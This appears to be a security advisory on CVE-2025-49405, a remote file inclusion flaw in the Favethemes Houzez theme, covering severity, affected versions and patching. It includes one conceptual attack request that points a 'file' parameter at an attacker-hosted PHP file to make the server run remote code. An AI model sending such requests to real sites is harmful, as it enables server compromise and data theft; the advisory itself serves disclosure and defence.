Overview
The cybersecurity landscape is constantly threatened by new and emerging vulnerabilities. One such issue, identified as CVE-2025-49405, is a critical PHP Remote File Inclusion vulnerability found in Favethemes’ Houzez. This vulnerability can potentially lead to system compromise or data leakage, putting the sensitive information of users at risk.
This vulnerability primarily affects Favethemes Houzez users who are using versions before 4.1.4. It matters because it opens up the potential for malicious actors to exploit this vulnerability and gain unauthorized access to systems, possibly leading to data breaches and other cybercrimes.
Vulnerability Summary
CVE ID: CVE-2025-49405
Severity: Critical (CVSS 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Favethemes Houzez | Before 4.1.4
How the Exploit Works
The issue arises due to the improper control of a filename for the Include/Require statement in a PHP program within Favethemes Houzez. This PHP Remote File Inclusion vulnerability allows an attacker to include a remote file from a server of their choosing. This file could contain malicious PHP code, which when executed, can lead to full system compromise or data leakage.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited could be a malicious HTTP request that includes the remote file from the attacker’s server. Here is an example of such a request:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comIn this example, the attacker is using the `file` parameter in the query string to point to a PHP file on their server (`http://attacker.com/malicious_file.php`). The server then includes this file and executes the malicious PHP code, potentially leading to system compromise or data leakage.
Mitigation Steps
The best way to mitigate this vulnerability is to apply the vendor patch as soon as possible. Favethemes has released version 4.1.4 of Houzez, which addresses this issue. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation technique to detect and block attempts to exploit this vulnerability.
